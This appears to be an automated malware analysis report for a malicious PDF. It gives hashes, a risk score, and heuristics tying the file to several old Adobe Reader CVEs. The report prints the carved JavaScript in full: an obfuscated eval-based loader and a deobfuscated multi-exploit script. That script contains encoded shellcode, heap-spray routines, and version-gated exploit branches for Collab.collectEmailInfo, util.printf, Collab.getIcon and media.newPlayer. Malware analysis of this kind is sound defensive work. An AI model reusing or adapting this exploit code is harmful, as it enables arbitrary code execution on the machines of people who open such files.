Malicious PDF — malware analysis report

Static analysis result for SHA-256 3a99cfb702a2d113…

MALICIOUS

PDF

44.5 KB First seen: 2013-07-23
MD5: 27dab0fe80f895670c2653c91882272d SHA-1: 0a5666a94b6836803f06ac3e4f7168a86c031f6c SHA-256: 3a99cfb702a2d11374e13161820c78ae449144b2769ed82dfeb7658d69dfbe50
408 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF file was flagged as malicious by an ML classifier with high confidence. Static analysis identified embedded JavaScript, which is often used to download and execute further payloads. The presence of JavaScript actions and embedded JS streams strongly suggests an attempt to exploit the PDF viewer or trick the user into running malicious code. The SHA256 hash is included as a primary identifier.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF40 441 bytes
SHA-256: 0473a33db6468740442861137b1b07ce412117e7892b87bff49632fb0fd4922b
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
xflc='';
qcra=('qwrwqr','tit');
e('oupm=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
odq=e('String.fro'+oupm.substr(0,9));
atz = e(oupm.substr(9)['replace'](/u/g,','));
e('k=atz.length');
for (i = 0; i < k; i+=2) {
	kgrwg = atz[i+1] + ('erybjkerl',atz[i]);
	xflc += odq(kgrwg);
}
e(xflc);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3636 bytes
SHA-256: 7ba55761c4c0ad37ae8490ab9cb056c164ae5edfc79b431da052f709ad51dd0f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u36b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u5f34%ue2aa%uc3fa%ue5e8%uffff%ub6ff%u5e53%u5f5f%ude01%u03b3%u5f5e%ud65f%ud2b8%u4f10%u30d2%u6e0b%u0884%u0c0e%u0c0c%u0c0c%u0c0c%u0c0a%u370c%u5e5b%u5f5f%u090a%u370c%u3130%u5f5f%u2a37%u332d%u0b32%ud137%u5111%ub7b3%u5f17%u5f5f%ub70f%u5f23%u5f5f%u8fa0%u9bdc%u3757%ub010%u5a10%ub70f%u5f33%u5f5f%u8fa0%u9fda%u482a%u0b35%uac06%u37f5%ua12d%u49ec%u42b7%u5f5f%u0f5f%u0eb7%u5f5f%ua05f%u0c8f%ua135%ud637%u5e30%ub7e2%u5f57%u5f5f%ub70f%u5f63%u5f5f%u8fa0%u6e3f%u3b9f%u0fd4%ud46f%u530d%u0dd4%ud44b%u772d%u47e6%u5f5f%u6e5f%u6ea0%uf39f%u3e63%u5d23%u7f73%u909e%u5e52%ubd98%udeaf%u04a0%u15e3%ud435%u4f1d%u4dd4%u862a%u1bd6%u437b%u9c3e%ud43f%u7b33%ud47b%u631a%u0bd4%u275a%ub55e%u15d4%ud447%u7f05%ub45e%u6bbc%ud416%ud46b%ub15e%ua06e%u9f6e%uf3a3%u9fdb%u582b%u909e%u5e52%ub498%u64ab%u7b23%u2a77%ud4be%u7b05%ub45e%ud439%u1453%u05d4%u5e43%ud4b4%ud45b%ub75e%u1bd6%u437b%u9d3e%u5f57%ub0b7%ua0a1%u37a0%u2b2b%u652f%u7070%u6d67%u336c%u7136%u303c%u7032%u713b%u372f%u602f%u6239%u696e%u3a79%u6a62%u005f';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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